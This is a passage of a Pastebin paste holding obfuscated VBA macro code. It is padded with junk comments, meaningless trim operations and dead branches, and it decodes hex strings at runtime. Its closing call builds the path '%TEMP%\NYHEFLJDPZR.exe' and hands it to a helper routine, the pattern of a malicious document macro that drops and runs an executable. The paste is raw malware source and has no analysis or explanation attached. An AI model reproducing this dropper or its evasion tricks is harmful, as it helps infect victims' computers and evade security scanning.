  1924. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1925. lzsUqrMR = RTrim(AQwXlCTN)
  1926.  
  1927. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1928. DoEvents: jwzMHIbd = jwzMHIbd + 1
  1929. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1930. Dim grJySNnB, JgyNwcpl, ytsEnowa As String
  1931. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1932. grJySNnB = GIYbonflbkpgerg("20202020202020202020204350584A4550202020202020202020202020202020")
  1933. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1934. JgyNwcpl = LTrim(grJySNnB)
  1935. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1936. ytsEnowa = RTrim(JgyNwcpl)
  1937.  
  1938. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1939. Loop
  1940.  
  1941. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1942. Dim zLayCasS, gNDobGhC, nybsaEli As String
  1943. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1944. zLayCasS = GIYbonflbkpgerg("2020202020202020202020424946534445202020202020202020202020202020")
  1945. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1946. gNDobGhC = LTrim(zLayCasS)
  1947. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1948. nybsaEli = RTrim(gNDobGhC)
  1949.  
  1950. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1951. WZQjMreL = LTrim(OxBfkhBI)
  1952.  
  1953. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1954. Dim UZcdNlxy As Integer
  1955. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1956. Dim raOovDeI, SYQtgyeV, UUWjOpnB As String
  1957. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1958. raOovDeI = GIYbonflbkpgerg("20202020202020202020205A524741474D202020202020202020202020202020")
  1959. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1960. SYQtgyeV = LTrim(raOovDeI)
  1961. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1962. UUWjOpnB = RTrim(SYQtgyeV)
  1963.  
  1964. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1965. UZcdNlxy = 7
  1966. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1967. Do While UZcdNlxy < 88
  1968. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1969. Dim TfwzUhea, qoexMQMK, GtQJuySP As String
  1970. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1971. TfwzUhea = GIYbonflbkpgerg("202020202020202020202052434141534C202020202020202020202020202020")
  1972. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1973. qoexMQMK = LTrim(TfwzUhea)
  1974. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1975. GtQJuySP = RTrim(qoexMQMK)
  1976.  
  1977. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1978. DoEvents: UZcdNlxy = UZcdNlxy + 1
  1979. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1980. Dim IdGqzFYX, CeWFibKR, bgpIJCnV As String
  1981. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1982. IdGqzFYX = GIYbonflbkpgerg("202020202020202020202055474D4C5152202020202020202020202020202020")
  1983. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1984. CeWFibKR = LTrim(IdGqzFYX)
  1985. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1986. bgpIJCnV = RTrim(CeWFibKR)
  1987.  
  1988. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1989. Loop
  1990.  
  1991. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1992. Dim PvziNLdP, CRFqZYhW, oPnfrmly As String
  1993. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1994. PvziNLdP = GIYbonflbkpgerg("202020202020202020202043494D57454A202020202020202020202020202020")
  1995. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1996. CRFqZYhW = LTrim(PvziNLdP)
  1997. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1998. oPnfrmly = RTrim(CRFqZYhW)
  1999.  
  2000. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2001. uIclwKyr = RTrim(WZQjMreL)
  2002.  
  2003.  
  2004. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2005. Dim mVtSlQiG As Integer
  2006. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2007. Dim ZFAVOLBY, vFQprCxU, lGWwvzMI As String
  2008. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2009. ZFAVOLBY = GIYbonflbkpgerg("2020202020202020202020574948524F48202020202020202020202020202020")
  2010. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2011. vFQprCxU = LTrim(ZFAVOLBY)
  2012. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2013. lGWwvzMI = RTrim(vFQprCxU)
  2014.  
  2015. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2016. mVtSlQiG = 5
  2017. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2018. Do While mVtSlQiG < 63
  2019. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2020. Dim syhArPpi, HaVXkyaN, wXTkRnLJ As String
  2021. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2022. syhArPpi = GIYbonflbkpgerg("2020202020202020202020444F4D594F51202020202020202020202020202020")
  2023. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2024. HaVXkyaN = LTrim(syhArPpi)
  2025. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2026. wXTkRnLJ = RTrim(HaVXkyaN)
  2027.  
  2028. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2029. DoEvents: mVtSlQiG = mVtSlQiG + 1
  2030. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2031. Dim PEzmdjVk, BluBkzpN, ATwKabLl As String
  2032. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2033. PEzmdjVk = GIYbonflbkpgerg("202020202020202020202049564156484C202020202020202020202020202020")
  2034. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2035. BluBkzpN = LTrim(PEzmdjVk)
  2036. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2037. ATwKabLl = RTrim(BluBkzpN)
  2038.  
  2039. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2040. Loop
  2041.  
  2042. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2043. Dim SGlQzruH, VWyFEKqa, XTOnAMHb As String
  2044. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2045. SGlQzruH = GIYbonflbkpgerg("20202020202020202020204A59565A4752202020202020202020202020202020")
  2046. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2047. VWyFEKqa = LTrim(SGlQzruH)
  2048. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2049. XTOnAMHb = RTrim(VWyFEKqa)
  2050.  
  2051. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2052.    ICWLJKSEKJP yfVUGJK, Environ(GIYbonflbkpgerg("54454D50")) & GIYbonflbkpgerg("5C4E594845464C4A44505A522E657865")
  2053. End Sub
  2054.  
  2055. Public Function GIYbonflbkpgerg(ByVal cQlbRg As String) As String
  2056. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2057. Dim ZZLyawIQ As String
  2058. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2059. Dim VHLlaQQjgDZ As String
  2060. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2061. Dim DzLOdyAJTO As Long
  2062. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2063. For DzLOdyAJTO = 1 To Len(cQlbRg) Step 2
  2064. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2065. Dim DoPqzxJh, krkTgJIi, qmojyVCQ As String
  2066. If 642151 = 642151 + 1 Then End
  2067. If 4235 < 16 Then
  2068.         MsgBox ("hmONFQJI31")
  2069. End If
  2070. If Len("uAeFcLwO5349") = Len("NeKyzNts") Then
  2071.        MsgBox ("Error !!!")
  2072. End If
  2073. DoPqzxJh = "           IWIYXC               "
  2074.  
  2075. If 676326 = 676326 + 1 Then End
  2076. If 7625 < 12 Then
  2077.         MsgBox ("VWqWtzxZ72")
  2078. End If
  2079. If Len("DkqoqdLy8741") = Len("BUWKnajg") Then
  2080.        MsgBox ("Error !!!")
  2081. End If
  2082. krkTgJIi = LTrim(DoPqzxJh)
  2083.  
  2084. If 885851 = 885851 + 1 Then End
  2085. If 1455 < 77 Then
  2086.         MsgBox ("EGBSILBk31")
  2087. End If
  2088. If Len("zyxiTmGS2561") = Len("WUsnqAvf") Then
  2089.        MsgBox ("Error !!!")
  2090. End If
  2091. qmojyVCQ = RTrim(krkTgJIi)
  2092.  
  2093.  
  2094. If 545588 = 545588 + 1 Then End
  2095. If 4894 < 65 Then
  2096.         MsgBox ("RoBFaWzy68")
  2097. End If
  2098. If Len("lTBayybO5119") = Len("TXOQwMXK") Then
  2099.        MsgBox ("Error !!!")
  2100. End If
  2101. ZZLyawIQ = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(cQlbRg, DzLOdyAJTO, 2)))
  2102.  
  2103. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2104. Dim hdozTMFK, RegTQTNn, ufEbmeOW As String
  2105. If 189695 = 189695 + 1 Then End
  2106. If 2494 < 22 Then
  2107.         MsgBox ("SFAESFPJ51")
  2108. End If
  2109. If Len("qyBNPhns3528") = Len("rYFkgxpD") Then
  2110.        MsgBox ("Error !!!")
  2111. End If
  2112. hdozTMFK = "           VGRGNU               "
  2113.  
  2114. If 417775 = 417775 + 1 Then End
  2115. If 9733 < 23 Then
  2116.         MsgBox ("DqkkjHGv55")
  2117. End If
  2118. If Len("MxdCuINO9848") = Len("uDVYxwcK") Then
  2119.        MsgBox ("Error !!!")
  2120. End If
  2121. RegTQTNn = LTrim(hdozTMFK)
  2122.  
  2123. If 133419 = 133419 + 1 Then End
  2124. If 9148 < 88 Then
  2125.         MsgBox ("tONPFbiQ89")
  2126. End If
  2127. If Len("XGlvcIDD9254") = Len("GjiHzFxg") Then
  2128.        MsgBox ("Error !!!")
  2129. End If
  2130. ufEbmeOW = RTrim(RegTQTNn)
  2131.  
  2132.  
  2133. If 518185 = 518185 + 1 Then End
  2134. If 4269 < 44 Then
  2135.         MsgBox ("WgnILPRO66")
  2136. End If
  2137. If Len("enwfOZGM2952") = Len("gJuCBjde") Then
  2138.        MsgBox ("Error !!!")
  2139. End If
  2140. VHLlaQQjgDZ = VHLlaQQjgDZ & ZZLyawIQ
  2141.  
  2142. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2143. Next DzLOdyAJTO
  2144. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  2145. Dim dWnnGNkS, basEjFwC, cQGhgHax As String
  2146. If 441616 = 441616 + 1 Then End
  2147. If 3219 < 95 Then
  2148.         MsgBox ("ijZAJEqP96")
  2149. End If
  2150. If Len("BcWhbSHQ1812") = Len("KBPUtLvf") Then
  2151.        MsgBox ("Error !!!")
  2152. End If
  2153. dWnnGNkS = "           TOAXIZ               "
  2154.  
  2155. If 517986 = 517986 + 1 Then End
  2156. If 7942 < 96 Then
  2157.         MsgBox ("WhkAfROi76")
  2158. End If
  2159. If Len("wjovGrIN5734") = Len("XzzvIEEW") Then
  2160.        MsgBox ("Error !!!")
  2161. End If
  2162. basEjFwC = LTrim(dWnnGNkS)
  2163.  
  2164. If 575954 = 575954 + 1 Then End
  2165. If 9769 < 62 Then
  2166.         MsgBox ("noopgNvi35")
  2167. End If
  2168. If Len("QtchIGKH1975") = Len("RTdUfXAk") Then
  2169.        MsgBox ("Error !!!")
  2170. End If
  2171. cQGhgHax = RTrim(basEjFwC)
  2172.  
  2173.  
  2174. If 994324 = 994324 + 1 Then End
  2175. If 1815 < 45 Then
  2176.         MsgBox ("fiNWrhtp14")
  2177. End If
  2178. If Len("FoHKTGrz2921") = Len("gWPKvgBC") Then
  2179.        MsgBox ("Error !!!")
  2180. End If
  2181. GIYbonflbkpgerg = VHLlaQQjgDZ
  2182.  
  2183. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top